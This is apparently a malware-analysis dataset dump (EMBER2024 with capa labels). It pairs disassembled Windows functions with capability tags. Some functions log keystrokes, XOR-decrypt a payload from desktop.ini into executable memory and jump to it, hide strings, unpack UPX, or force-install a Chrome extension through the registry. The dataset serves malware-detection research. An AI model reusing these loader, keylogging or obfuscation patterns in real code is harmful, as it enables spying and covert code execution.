joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4056e5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x43b4c8
push esi
call fcn.00405b67
push esi
call fcn.00405690
mov edi, eax
test edi, edi
jne 0x405706
xor eax, eax
jmp 0x405758
push edi
call fcn.00405dd2
test byte [0x4466d8], 0x80
je 0x40571f
mov al, byte [edi]
test al, al
je 0x405702
cmp al, 0x5c
je 0x405702
sub edi, esi
jmp 0x405737
call fcn.00405e6b
test eax, eax
je 0x405731
test byte [eax], 0x10
je 0x405702
push esi
call fcn.0040563e
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405723
call fcn.004055f7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x4057d3
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4057f2
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x4057f8
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405827
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x409368]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x40586c
test edi, edi
jne 0x405832
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405866
Function at 0x40589f
Capabilities:
Get file size
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, 0x43da50
push 0x409384
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
mov ebx, 0x400
je 0x4058ee
push 1
push 0
push esi
call fcn.004057f8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push edi
push esi
call ebp
test eax, eax
je 0x405a15
cmp eax, ebx
jg 0x405a15
mov esi, 0x43de50
push ebx
push esi
push dword [esp + 0x20]
call ebp
test eax, eax
je 0x405a15
cmp eax, ebx
jg 0x405a15
push esi
push edi
push str._s_s_r_n
push 0x43d650
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x4466d0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405b89
push 4
push 0xc0000000
push esi
call fcn.004057f8
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x1c], ebp
je 0x405a15
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405a0e
push edi
push esi
push ebp
call fcn.00405870
test eax, eax
je 0x405a0e
push str._Rename__r_n
push esi
call fcn.0040575d
test eax, eax
jne 0x4059a4
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x4059d9
add eax, 0xa
push 0x40936c
push eax
call fcn.0040575d
mov ebp, eax
test ebp, ebp
je 0x4059d5
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x4059c6
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x4059c0
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x1c]
jmp 0x4059db
mov ebp, dword [esp + 0x1c]
mov eax, edi
push ebx
add eax, esi
push 0x43d650
push eax
call fcn.004057b3
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x10]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x405a4e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405abf
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x2000
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405aae
cmp dword [ebp + 0x14], 1
je 0x405ab0
cmp dword [ebp + 0x14], 2
je 0x405ab0
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x1fff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405f04
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43e254], 0
push esi
jne 0x405f3b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f15
mov dword [ecx*4 + 0x43e250], eax
inc ecx
cmp ecx, 0x100
jl 0x405f10
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f6c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43e250]
xor eax, esi
inc ecx
dec edx
jne 0x405f4e
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6785d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9c000]
push edi
or ebp, 0xffffffff
jmp 0x6785f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6785f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6785e8
mov eax, 1
add ebx, ebx
jne 0x67860b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x67861c
jne 0x67863b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x67863b
dec eax
add ebx, ebx
jne 0x678628
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x678600
add ebx, ebx
jne 0x678637
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x67868d
xor ecx, ecx
sub eax, 3
jb 0x678653
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6786c2
sar eax, 1
mov ebp, eax
jmp 0x67865e
add ebx, ebx
jne 0x67865e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x67862c
inc ecx
add ebx, ebx
jne 0x67866c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x67862c
add ebx, ebx
jne 0x678679
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x67866e
jne 0x67868a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x67866e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6786ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x67869e
jmp 0x6785ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6786ac
add edi, ecx
jmp 0x6785ee
pop esi
mov edi, esi
mov ecx, 0x185c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6786ca
cmp byte [edi], 0xa
jne 0x6786ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6786cf
lea edi, [esi + 0x176000]
mov eax, dword [edi]
or eax, eax
je 0x678747
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1c0788]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1c08b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6786fc
mov ecx, edi
jns 0x67872b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1c08b8]
or eax, eax
je 0x678741
mov dword [ebx], eax
add ebx, 4
jmp 0x678719
call dword [esi + 0x1c08c8]
mov ebp, dword [esi + 0x1c08bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x67877b
sub esp, 0xffffff80
jmp 0x52c801
Function at 0x42c87c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x42c8ad
je 0x42c907
sub eax, 7
je 0x42c8ce
dec eax
je 0x42c8f8
sub eax, 0x17
je 0x42c988
jmp 0x42c9c6
add eax, 0xffffff00
sub eax, 9
jb 0x42c974
add eax, 0xffffff09
sub eax, 0xb
jb 0x42c95e
jmp 0x42c9c6
mov eax, ebx
call fcn.0043cf94
mov edi, eax
test edi, edi
je 0x42ca26
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xc8]
test al, al
je 0x42ca2f
jmp 0x42ca26
test byte [ebx + 0x44], 0x20
jne 0x42ca2f
jmp 0x42ca26
mov edx, esi
mov eax, ebx
call fcn.0042a168
cmp dword [esi + 0xc], 0xffffffff
jne 0x42ca2f
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00407614
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00428c10
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.0042c72c
test eax, eax
je 0x42ca2f
mov dword [esi + 0xc], 1
jmp 0x42ca2f
mov edx, esi
mov eax, ebx
call fcn.0042c7f0
test al, al
jne 0x42ca2f
jmp 0x42ca26
mov eax, ebx
call fcn.004297e0
test al, al
jne 0x42ca2f
jmp 0x42ca26
mov eax, ebx
call fcn.0042edac
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x42ca26
cmp dword [0x47d784], 0
je 0x42ca26
mov eax, dword [0x47d784]
cmp ebx, dword [eax + 0x24]
jne 0x42ca26
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x47d784]
call fcn.0042a084
jmp 0x42ca26
mov eax, dword [0x481724]
cmp byte [eax + 0x20], 0
je 0x42ca26
mov eax, dword [0x481724]
cmp dword [eax + 0x1c], 0
je 0x42ca26
mov eax, dword [esi]
mov edx, dword [0x481724]
cmp eax, dword [edx + 0x1c]
jne 0x42ca26
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.0043cea8
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb9
call fcn.00403110
jmp 0x42ca2f
mov edx, esi
mov eax, ebx
call fcn.0042a168
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42ed88
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add dword [eax], eax
add byte [eax - 0x6b75b], al
inc dword [eax]
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
push dword [ebx]
Function at 0x42efd8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
adc al, dh
test dword [ecx + 0x30fffffc], ebx
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.0042e09d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0042e052
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.0042e08d
and eax, 0x688858ac
add al, 1
add byte [eax], al
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.0042e08d
mov edi, 0x80fa8c5f
loopne 0x42f0ab
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
mov byte [ebp - 0x12], 0x8a
mov byte [ebp - 0x11], 0xa3
mov byte [ebp - 0x10], 0xe2
lea eax, [ebp - 0x20]
push eax
call fcn.0042e09d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0042e052
add esp, 0xc
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x654]
push eax
push 0x104
call dword [ebp - 0x370]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x28]
movsx eax, byte [ebp + eax - 0x12d]
cmp eax, 0x5c
jne 0x42f139
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x550]
movsx eax, byte [ebp + eax - 0x655]
cmp eax, 0x5c
jne 0x42f159
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
and dword [ebp - 0x338], 0
and dword [ebp - 0x3d0], 0
inc dword [eax]
jmp 0x42f176
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x104
jge 0x42f1dd
mov eax, dword [ebp - 0x3d0]
movsx eax, byte [ebp + eax - 0x334]
and eax, 0x80
test eax, eax
je 0x42f1a8
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
jmp 0x42f1db
mov eax, dword [ebp - 0x3d0]
movsx eax, byte [ebp + eax - 0x334]
cmp eax, 0x5c
jne 0x42f1c7
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x3d0]
invalid
mov esi, 0xfccc0584
invalid

Function at 0x42f470
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.0042dffe
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x42f49a
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x42f4e3
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
invalid
Function at 0x43697c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403ae8
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x4369dd
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x4369dd
cmp byte [ebp - 0x102], 0
je 0x4369dd
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00403d14
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43cc78
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4817d8
cmp dword [edi], 0
jne 0x43ccf4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4817d4]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x47d910
mov ecx, 2
call fcn.00402908
mov edx, 0x43cc50
lea eax, [esi + 5]
call fcn.0043cc70
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043cc70
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43ccc9
mov dword [0x4817d4], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x43ce18
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43ce68]
test si, 4
je 0x43ce2c
or bl, 1
test si, 8
je 0x43ce36
or bl, 4
test si, 1
je 0x43ce40
or bl, 8
test si, 2
je 0x43ce4a
or bl, 0x10
test si, 0x10
je 0x43ce54
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43ce63
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x43ce6c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43cea4]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43ce85
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43ce94
or bl, 4
test esi, 0x20000000
je 0x43ce9f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x444ea8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x8c], 0
je 0x444edd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403bcc
jmp 0x444ee7
mov eax, esi
mov edx, dword [ebx + 0x74]
call fcn.00403b80
add esp, 0x100
pop esi
pop ebx
ret
Function at 0x409e15
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409e54
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409e54
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409e54
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409e54
cmp dword [ecx + 0x74], 0xe
jbe 0x409e54
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401930
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x408]
xor edi, edi
push eax
push 0x20019
push edi
mov esi, ecx
mov dword [ebp - 0x40c], esi
push str.SoftwareMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice
mov dword [ebp - 0x40c], esi
push reloc.WS2_32.dll_accept
mov dword [ebp - 0x408], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x408], edi
je 0x4019e8
lea eax, [ebp - 0x410]
mov dword [ebp - 0x40c], 1
push eax
lea eax, [ebp - 0x404]
mov dword [ebp - 0x410], 0x200
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
push str.ProgId
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x404]
push 0x463d18
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscmp]
pop ecx
pop ecx
test eax, eax
je 0x4019e8
lea eax, [ebp - 0x404]
push eax
jmp 0x4019ed
push str.not_found
mov ecx, esi
call fcn.00403fc1
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.004554d0
leave
ret
Function at 0x402110
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x124
mov eax, 0x456e7b
call fcn.00456afc
push 0
push 0x1c
lea eax, [ebp - 0x114]
push eax
push dword [0x657400]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov eax, dword [0x657408]
xor edx, edx
mov ecx, dword [0x657404]
sub eax, ecx
sar eax, 7
mov dword [ebp - 0x130], edx
test eax, eax
je 0x4021d1
xor edi, edi
lea esi, [edi + ecx]
cmp byte [esi + 0x48], 0
je 0x4021b9
mov ecx, esi
call fcn.00401914
test al, al
je 0x4021ad
cmp byte [esi + 0x49], 0
je 0x4021ad
mov edx, esi
lea ecx, [ebp - 0x12c]
call fcn.00402b4a
and dword [ebp - 4], 0
lea edx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0xf
lea ecx, [ebp - 0x114]
cmova edx, dword [ebp - 0x12c]
call fcn.004021d7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.00404106
mov edx, dword [ebp - 0x130]
mov ecx, dword [0x657404]
mov eax, dword [0x657408]
inc edx
sub eax, ecx
mov dword [ebp - 0x130], edx
sar eax, 7
sub edi, 0xffffff80
cmp edx, eax
jb 0x402154
call fcn.00456aba
ret
Function at 0x4028e2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x204]
mov edi, ecx
push str.SoftwareGoogleChromeExtensions
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
lea eax, [ebp - 0x204]
push 0x463ee4
push eax
call esi
lea eax, [ebp - 0x204]
push str.fgimllnamdeacpaddbdafchhcmapebgj
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x408]
xor esi, esi
mov dword [ebp - 0x408], esi
push esi
push eax
push esi
push 0x20006
push esi
push esi
push esi
lea eax, [ebp - 0x204]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x40296c
push 2
pop eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004554d0
leave
ret
lea eax, [ebp - 0x404]
push 0x463ee8
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 0xc
lea eax, [eax*2 + 2]
lea ecx, [eax + eax]
cmp ecx, 0x200
